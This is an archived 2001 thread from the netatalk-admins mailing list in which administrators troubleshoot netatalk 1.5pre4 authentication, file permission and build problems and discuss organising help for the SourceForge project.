MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
X-Sender: 320058992624-0001@t-dialin.net


About dhx: I couldn't make it work either.

> When using the pre4 RPM on a RH 7 box, there is no darn way for me to get
> encrypted logins working. Guest and cleartext work but not dhx.

>From what I can see in your logfiles you might not have allowed your hosts
access to your servers putting them into hosts.allow/deny. That's when I
usually got those errors from dsi_getsess: Connection refused bla bla.


> Feb 22 10:00:38 itchy afpd[2381]: ASIP started on 144.92.19.56:548(2)
> (1.5pre4)
> Feb 22 10:00:38 itchy afpd[2381]: uam: uams_dhx.so loaded
> Feb 22 10:00:38 itchy afpd[2381]: uam: "DHCAST128" available
> Feb 22 10:00:48 itchy afpd[2381]: refused connect from 144.92.19.60
> Feb 22 10:00:48 itchy afpd[2381]: dsi_getsess: Connection refused
> Feb 22 10:00:57 itchy afpd[2384]: session from 44038.212:246 on


About your last log. The same thing happened to me today. As a result, when
I try to move a file into that directory i get a popup telling me I don't
have enough rights, but the file gets copied anyways. How can you give afpd
enough permissions to perform this operation?

> What the heck is this???
>
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> .AppleDouble: Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
> Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> .AppleDouble: Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
> Invalid argument
> Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
>
> TIA!
>
>


Bye
florian.


From netatalk.administrators-errors@umich.edu  Sat Feb 24 00:51:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA21917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 00:51:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA21237
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 00:51:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA21218
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 00:51:15 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA21192
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 00:51:14 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-4-82.ucdavis.edu [169.237.17.210])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1O5p8h02215;
	Fri, 23 Feb 2001 21:51:09 -0800 (PST)
Message-Id: <5.0.2.1.0.20010223213906.00a68ad0@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 23 Feb 2001 21:42:29 -0800
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>,
        jeff <jeff@univrel.pr.uconn.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: Helping Out
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
In-Reply-To: <Pine.LNX.4.30.0102231445220.2008-100000@www.molbio.wisc.ed
 u>
References: <3A96C84E.2F1745DE@univrel.pr.uconn.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

So far, it has been pretty much fixing anything we see needs to be fixed 
and adding what features we'd like to see.  Myself, I'd love to see 
dropkludge get fixed, but the reason I stopped working on it was that I ran 
out of ideas on how to fix it and I ran out of time to work on it.  I've 
got other duties to attend to before I change occupations in about a month.

At 03:03 PM 2/23/01 -0600, Daniel E. Lautenschleger wrote:
>Jeff:
>
>I would love to help out and assemble documentation that would ease
>installation/operational issues. The problem is, I don't fully understand
>what changes have been made since the whole shebang got moved to
>sourceforge and truly what all the options and challenges are for the
>various installs on the different platforms.
>
>If you have a general direction or thoughts of how I might proceed, I
>am more than willing to help out. I've thought for quite some time that
>there are not enough people helping you out.
>
>Here's another thought meant to be non-offensive:
>
>You for the courage and talent, have signed on to administor the Netatalk
>project on SourceForge. Therefore, you need to spell out *exactly* what
>areas you need help with (besides documentation) and say I need someone to
>do this, somone to do this other thing, etc... and approach it that way.
>
>Who are the current members of the team that are strong at programming?
>Who is good at writing documentation? Who can communicate on a regular
>basis regarding bugs that need to be resolved? Is it even a bug? Who is
>going to regularly respond to people in the help forum (besides other
>users) to assist with simple and/or major issues?
>
>I gues we need some structure added to the SourceForge site and I'm as
>guilty as anyone else for not doing more to promote this as I have signed
>up as developer. Well, I suck at C but I don't mind doing some
>administrative work if you'd like me to.
>
>Just some thoughts that I think may move us forward with a more
>presentable operation as v1.5 release approaches.
>
>Tell ya' what, rather than rambling any longer, I will seriously examine
>what I think needs to happen with regard to making a more effective
>SourceForge presence over the weekend and present you with my ideas next
>week via e-mail.
>
>I can stop my complaining and contribute that energy to the project :-)
>
>Sorry for the ramblings...
>
>-Dan
>
>On Fri, 23 Feb 2001, jeff wrote:
>
> > "Daniel E. Lautenschleger" wrote:
> > >
> > > You've got to be kidding me...
> > >
> > > What the heck does --enable-redhat do? In fact, where the hell is 
> complete
> > > documentation on the various installation options as well as what's been
> > > fixed after each release!!!!!!
> > >
> > > Not trying to piss anyone off. Jeff has done a fine job so far :-) It
> > > justs gets frustrating at times.
> > >
> > > No flaming please. Just a bit of venting. I am now patient and
> > > grateful once again...
> >
> > That's okay. I'm not offended.
> >
> > I *know* that documentation is lacking, other than the usually unhelpful
> > "./configure --help", which still doesn't explain much about the
> > options.
> >
> > If anyone would like to help out, it would be much appreciated, since
> > the README was last slightly patched when I had a little bit of free
> > time, and I haven't really had time to maintain it.
> >
> > Might move the --enable-redhat,--enable-suse, etc switches to
> > --enable-sysv=(redhat|suse|...) or something in the future, since a ton
> > of switches like that is just bound to get confusing.
> >
> > jeff
> > (with tremendous apologies for the cross-posting)
> >
>
>--
>
>Daniel E. Lautenschleger
>University of Wisconsin
>R.M. Bock Laboratories
>Network Administrator and Computer Support
>dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Sat Feb 24 09:43:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA02292
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 09:43:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA07709
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 09:43:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA07698
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 09:43:40 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA07684
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 09:43:39 -0500 (EST)
Received: (qmail 2575 invoked by uid 500); 24 Feb 2001 14:43:24 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 24 Feb 2001 14:43:24 -0000
Date: Sat, 24 Feb 2001 08:43:24 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
cc: jeff <jeff@univrel.pr.uconn.edu>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Helping Out
In-Reply-To: <5.0.2.1.0.20010223213906.00a68ad0@127.0.0.1>
Message-ID: <Pine.LNX.4.30.0102240837080.2571-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I think many folks would like to see dropkludge, a DID database, and the
feature that allows files created in netatalk volumes to have the same
ownership and permissions as the parent (correct)?

Maybe a "hit list" of items that need fixing by v1.5 release?

If someone can (with detail) spell out the items that need fixing so we
all understand each problem, folks can begin working on these items.

Can we make a list on the site for developers to see what needs fixing and
what's fixed as time progresses?

-Dan

On Fri, 23 Feb 2001, Marc J. Miller wrote:

> So far, it has been pretty much fixing anything we see needs to be fixed
> and adding what features we'd like to see.  Myself, I'd love to see
> dropkludge get fixed, but the reason I stopped working on it was that I ran
> out of ideas on how to fix it and I ran out of time to work on it.  I've
> got other duties to attend to before I change occupations in about a month.
>
> At 03:03 PM 2/23/01 -0600, Daniel E. Lautenschleger wrote:
> >Jeff:
> >
> >I would love to help out and assemble documentation that would ease
> >installation/operational issues. The problem is, I don't fully understand
> >what changes have been made since the whole shebang got moved to
> >sourceforge and truly what all the options and challenges are for the
> >various installs on the different platforms.
> >
> >If you have a general direction or thoughts of how I might proceed, I
> >am more than willing to help out. I've thought for quite some time that
> >there are not enough people helping you out.
> >
> >Here's another thought meant to be non-offensive:
> >
> >You for the courage and talent, have signed on to administor the Netatalk
> >project on SourceForge. Therefore, you need to spell out *exactly* what
> >areas you need help with (besides documentation) and say I need someone to
> >do this, somone to do this other thing, etc... and approach it that way.
> >
> >Who are the current members of the team that are strong at programming?
> >Who is good at writing documentation? Who can communicate on a regular
> >basis regarding bugs that need to be resolved? Is it even a bug? Who is
> >going to regularly respond to people in the help forum (besides other
> >users) to assist with simple and/or major issues?
> >
> >I gues we need some structure added to the SourceForge site and I'm as
> >guilty as anyone else for not doing more to promote this as I have signed
> >up as developer. Well, I suck at C but I don't mind doing some
> >administrative work if you'd like me to.
> >
> >Just some thoughts that I think may move us forward with a more
> >presentable operation as v1.5 release approaches.
> >
> >Tell ya' what, rather than rambling any longer, I will seriously examine
> >what I think needs to happen with regard to making a more effective
> >SourceForge presence over the weekend and present you with my ideas next
> >week via e-mail.
> >
> >I can stop my complaining and contribute that energy to the project :-)
> >
> >Sorry for the ramblings...
> >
> >-Dan
> >
> >On Fri, 23 Feb 2001, jeff wrote:
> >
> > > "Daniel E. Lautenschleger" wrote:
> > > >
> > > > You've got to be kidding me...
> > > >
> > > > What the heck does --enable-redhat do? In fact, where the hell is
> > complete
> > > > documentation on the various installation options as well as what's been
> > > > fixed after each release!!!!!!
> > > >
> > > > Not trying to piss anyone off. Jeff has done a fine job so far :-) It
> > > > justs gets frustrating at times.
> > > >
> > > > No flaming please. Just a bit of venting. I am now patient and
> > > > grateful once again...
> > >
> > > That's okay. I'm not offended.
> > >
> > > I *know* that documentation is lacking, other than the usually unhelpful
> > > "./configure --help", which still doesn't explain much about the
> > > options.
> > >
> > > If anyone would like to help out, it would be much appreciated, since
> > > the README was last slightly patched when I had a little bit of free
> > > time, and I haven't really had time to maintain it.
> > >
> > > Might move the --enable-redhat,--enable-suse, etc switches to
> > > --enable-sysv=(redhat|suse|...) or something in the future, since a ton
> > > of switches like that is just bound to get confusing.
> > >
> > > jeff
> > > (with tremendous apologies for the cross-posting)
> > >
> >
> >--
> >
> >Daniel E. Lautenschleger
> >University of Wisconsin
> >R.M. Bock Laboratories
> >Network Administrator and Computer Support
> >dan@www.molbio.wisc.edu
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Sat Feb 24 12:39:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06016
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 12:39:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25119
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 12:39:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25108
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 12:39:06 -0500 (EST)
Received: from video1.avwashington.com (client-151-200-136-147.tag.com [151.200.136.147] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA25091
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 12:39:05 -0500 (EST)
Received: from localhost (cmefford@localhost)
	by video1.avwashington.com (8.9.1a/8.9.1) with SMTP id MAA28663;
	Sat, 24 Feb 2001 12:41:28 -0500
Date: Sat, 24 Feb 2001 12:41:28 -0500 (EST)
From: Chip Mefford <cmefford@avwashington.com>
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Helping Out
In-Reply-To: <Pine.LNX.4.30.0102240837080.2571-100000@www.molbio.wisc.edu>
Message-ID: <Pine.LNX.3.96.1010224123409.28378B-100000@video1.avwashington.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


On Sat, 24 Feb 2001, Daniel E. Lautenschleger wrote:

> I think many folks would like to see dropkludge, 

What's Dropkludge? I assume it is some kludge to mimic the
AppleShare Server "drop box" world write/owner rwx thingee.

This would be very nice, but it seems a bit strange. I simply
gave up and created a directory below home with subdirs for all
my users with group rw for "users" and symlinked it to the home
directories. Make a little script to add it automagicly at user
creation time. Everyone of course can read everyone elses "drop
box" but that makes it no different from those mailboxes up at
the receptionists desk. 

I have department specific shares set up for accounting and management
and the like to keep prying eyes out of sensitive stuff, so it
is sort of an answer. 

Would be nice to have the AppleShare Server Dropbox though, as folks
were used to it. 

>a DID database, 

What's a DID database? 

>and the
> feature that allows files created in netatalk volumes to have the same
> ownership and permissions as the parent (correct)?

Yes, that would be really nice, but again, by setting the sticky bit
for group, and having folks "copy" over onto the server rather than
creating on the server, this seems to work out okay. 
 
> Maybe a "hit list" of items that need fixing by v1.5 release?


From netatalk.administrators-errors@umich.edu  Sat Feb 24 15:27:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10506
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 15:27:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA27159
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 15:27:02 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA27148
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 15:27:01 -0500 (EST)
Received: from franc.ucdavis.edu (franc.ucdavis.edu [169.237.105.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA27126
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 15:27:00 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-2-49.ucdavis.edu [169.237.16.177])
	by franc.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1OKQqP10507;
	Sat, 24 Feb 2001 12:26:53 -0800 (PST)
Message-Id: <5.0.2.1.0.20010224120744.00a60ec0@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sat, 24 Feb 2001 12:23:53 -0800
To: Chip Mefford <cmefford@avwashington.com>,
        "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: Helping Out
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
In-Reply-To: <Pine.LNX.3.96.1010224123409.28378B-100000@video1.avwashing
 ton.com>
References: <Pine.LNX.4.30.0102240837080.2571-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 12:41 PM 2/24/01 -0500, Chip Mefford wrote:

>On Sat, 24 Feb 2001, Daniel E. Lautenschleger wrote:
>
> > I think many folks would like to see dropkludge,
>
>What's Dropkludge? I assume it is some kludge to mimic the
>AppleShare Server "drop box" world write/owner rwx thingee.

That's how it started... I eventually discovered that the same permission 
handling that was preventing Dropboxes from working was also creating other 
bugs.  So I made the changes universal.  It not only maintains rwx 
permissions, but it also makes sure that every file created within a 
directory has the same owner and group as the directory itself.  That's 
what Mac expects.  Unfortunately, I've run into a couple of difficulties -- 
a known security hole which is extremely well-documented on Sourceforge 
(check the DocManager) and a difficulty that when someone drops a folder 
into a dropbox, the dropped folder also becomes a dropbox, owned by whoever 
dropped it there.  That's related to the setgid being set on the dropbox 
and permission inheritance.

>This would be very nice, but it seems a bit strange. I simply
>gave up and created a directory below home with subdirs for all
>my users with group rw for "users" and symlinked it to the home
>directories. Make a little script to add it automagicly at user
>creation time. Everyone of course can read everyone elses "drop
>box" but that makes it no different from those mailboxes up at
>the receptionists desk.

I'm glad that works for you.  I created dropkludge to deal with student 
homework submission, so a situation where everyone can read everyone else's 
stuff simply wasn't acceptable.  But as I say, there were certain issues I 
simply couldn't figure out how to resolve.  I'm not completely out of 
ideas, but I *am* out of time.

> >a DID database,
>
>What's a DID database?

AppleShare tracks directories by directory ID number.  Trouble is, 
originally when afpd initialized, it would assign those DIDs and therefore 
every time afpd restarted, the DIDs would change.  A database to store 
those DIDs was created to make those assignments more permanent, but I 
understand its less than perfect.

> >and the
> > feature that allows files created in netatalk volumes to have the same
> > ownership and permissions as the parent (correct)?
>
>Yes, that would be really nice, but again, by setting the sticky bit
>for group, and having folks "copy" over onto the server rather than
>creating on the server, this seems to work out okay.

The sticky bit and the file ownership changes are part of dropkludge as 
described above.

> > Maybe a "hit list" of items that need fixing by v1.5 release?

We have a TODO list in the CVS.  That seems like a good starting point... 
perhaps someone (Jeff?!) could update the bug tracker with some of the info 
there and decide what bugs are critical, what bugs could wait for now, etc. 


From netatalk.administrators-errors@umich.edu  Sat Feb 24 18:04:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA14079
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 18:04:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA07620
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 18:04:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA07598
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 18:04:06 -0500 (EST)
Received: from sd23.bc.ca (sd23sun.sd23.bc.ca [204.174.141.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA07564
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 18:04:05 -0500 (EST)
Received: from [204.174.160.8] (qes2.sd23.bc.ca [204.174.160.8])
	by sd23.bc.ca (8.8.8+Sun/8.8.8) with ESMTP id OAA06845
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 14:57:37 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 24 Feb 2001 16:08:04 -0800
Subject: Applications Show as SimpleText Files and Won't Launch
From: Bill Colston <wcolston@sd23.bc.ca>
To: <netatalk-admins@umich.edu>
Message-ID: <B6BD8CE3.1EFD%wcolston@sd23.bc.ca>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Everything was going well then....

I created a directory /home/programs, logged into the the volume via the
Chooser and copied the applications to the programs volume.  I tried
launching programs, ClarisWorks and BBEdit and everything worked great.  I
then added /home/programs to the AppleVolumes.default file so that everyone
could access the programs volume when then logged in with their account name
and password.  However,  when users log in and mounted their personal volume
and the programs volume, they couldn't launch ClarisWorks or BBEdit as they
appeared as SimpleText files.  When ClarisWorks is double clicked SimpleText
tries to open it.  I have tried every combination of file permissions I
could think of, even set the Sticky Bit (t) and set the directory setgid. I
also added /home/programs to AppleVolumes.system and double checked to see
if the proper extension/type/creator was set for ClarisWorks and BBEdit in
AppleVolumes.system and they were.   I even tried copying the .AppleDesktop
directory from the programs volume to the user's volume but still no luck.

I was able to get a cdrom mounted, placed it in Applevolumes.default so
users could acess it and it did work, although the application icon was
generic.  It did launch.

I would like to share more applications via netatalk but I don't have much
hope if I can't even get ClarisWorks and BBEdit to launch.

I am using netatalk 1.4b2+asun2.13-8 on YellowDog Linux 1.2.1.

Any help would be much appreciated.

Many thanks,

Bill

Bill Colston



From netatalk.administrators-errors@umich.edu  Sat Feb 24 19:15:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA15881
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 19:15:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA17084
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 19:15:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16989
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 19:15:33 -0500 (EST)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA16840
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 19:15:25 -0500 (EST)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [24.218.255.161])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet1.9) with ESMTP id TAA01233;
	Sat, 24 Feb 2001 19:15:24 -0500
Sender: karelsf@brandeis.edu
Message-ID: <3A984F11.488FAFC2@brandeis.edu>
Date: Sat, 24 Feb 2001 19:17:21 -0500
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karel@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: Bill Colston <wcolston@sd23.bc.ca>
Subject: Re: Applications Show as SimpleText Files and Won't Launch
References: <B6BD8CE3.1EFD%wcolston@sd23.bc.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Check for the existence of, and the permissions of, the .AppleDouble
folder -- in this case,

/home/programs/.AppleDouble

The type and creator information fo the programs (type 'APPL') is stored
in the .AppleDouble file for the particular program, e.g. in:

/home/programs/.AppleDouble/BBEdit

If the user doesn't have permission to read that file, BBEdit will have
an unknown type, and since there's no file extension to provide a hint,
it'll default to a text file.

steven

Bill Colston wrote:
> 
> Everything was going well then....
> 
> I created a directory /home/programs, logged into the the volume via the
> Chooser and copied the applications to the programs volume.  I tried
> launching programs, ClarisWorks and BBEdit and everything worked great.  I
> then added /home/programs to the AppleVolumes.default file so that everyone
> could access the programs volume when then logged in with their account name
> and password.  However,  when users log in and mounted their personal volume
> and the programs volume, they couldn't launch ClarisWorks or BBEdit as they
> appeared as SimpleText files.

From netatalk.administrators-errors@umich.edu  Sat Feb 24 20:03:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA16859
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Feb 2001 20:03:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA05654
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Feb 2001 20:03:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA05643
	for netatalk.administrators-members@umich.edu; Sat, 24 Feb 2001 20:03:08 -0500 (EST)
Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA05612
	for <netatalk-admins@umich.edu>; Sat, 24 Feb 2001 20:03:07 -0500 (EST)
From: lammerse@xs4all.nl
Received: from localhost (a213-84-22-161.adsl.xs4all.nl [213.84.22.161])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id CAA13672
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 02:03:12 +0100 (CET)
Message-Id: <200102250103.CAA13672@smtp8.xs4all.nl>
Date: Sun, 25 Feb 2001 02:03:01 +0000
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.365)
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v365)
Content-Transfer-Encoding: 7bit
Subject: Netatalk 1.5pre4 and OS X

Hi there,

I'm new to the list so please forgive me if I'm asking questions which 
have already been answered.

Ok, here goes.

My system:

Linux Red Hat 6.0 / kernel 2.2.5-15
Openssl-0.9.6
tcp_wrappers-7.6-7
Netatalk 1.5pre4
OS X (build 4k17)

During the compilation of netatalk, there was a small error message in 
the uams folder saying that the crypto-library couldn't be found.

make[3]: Entering directory `/usr/src/netatalk/etc/uams'
Makefile:266: warning: overriding commands for target `install-strip'
Makefile:204: warning: ignoring old commands for target `install-strip'
gcc      -g -O2 -I../../include -I../../sys -I/usr/local/ssl/include 
-I/usr/local/ssl/include/openssl -DHAVE_CONFIG_H -fPIC -DPIC \
   -I../.. -fomit-frame-pointer -c uams_dhx_passwd.c ; \
ld -shared  -o uams_dhx_passwd.so uams_dhx_passwd.o -lcrypto -lrpcsvc 
-lresolv -lnsl -ldl -ldb -lcrypt  -lpam
ld: cannot open -lcrypto: No such file or directory
make[3]: *** [uams_dhx_passwd.so] Error 1
make[3]: Leaving directory `/usr/src/netatalk/etc/uams'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/src/netatalk/etc'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/src/netatalk'
make: *** [all-recursive-am] Error 2

I added a statement to the Makefile, pointing the linker to the 
directory with -L /usr/local/ssl/lib. Then the compilation is fine. I 
can use the accompanied script to startup the server. This is what I 
find in the logs:

Feb 25 00:54:13 maul papd[19449]: restart (1.5pre4)
Feb 25 00:54:13 maul rc.atalk.redhat.tmpl: timelord startup succeeded
Feb 25 00:54:13 maul rc.atalk.redhat.tmpl: afpd startup succeeded
Feb 25 00:54:19 maul timelord[19460]: maul:TimeLord started
Feb 25 00:54:19 maul afpd[19471]: maul:AFPServer@* started on 
65280.112:130 (1.5
pre4)
Feb 25 00:54:19 maul afpd[19471]: ASIP started on 10.0.0.151:548(1) 
(1.5pre4)
Feb 25 00:54:19 maul afpd[19471]: uam: uams_guest.so loaded
Feb 25 00:54:19 maul afpd[19471]: uam: uams_clrtxt.so loaded
Feb 25 00:54:19 maul afpd[19471]: uam: uams_dhx.so loaded
Feb 25 00:54:19 maul afpd[19471]: uam: "DHCAST128" available
Feb 25 00:54:19 maul afpd[19471]: uam: "Cleartxt Passwrd" available
Feb 25 00:54:19 maul afpd[19471]: uam: "No User Authent" available

Now, it seems to me, that for registered-users it will encrypt the 
password using the cast-128 algorithm. Is that right? Because I expected 
the DES algorithm to be used for this. Maybe this is why I can't login 
to the server?

The symptoms:

The Netatalk server appears in the OS X chooser, but when I click on the 
icon, I don't get an authentication screen and no shared volumes appear. 
When I do this under MacOS 9, I do get the authentication screen, but 
I'm only allowed to connect as guest.

Possible cause:

Well... I _am_ using a beta version of OS X. Maybe there's a bug in the 
filesharing code. However, I did see messages on this list from people 
that did manage to get this working. Could you please help me out?

Thanks,

Marcel




From netatalk.administrators-errors@umich.edu  Sun Feb 25 07:10:17 2001
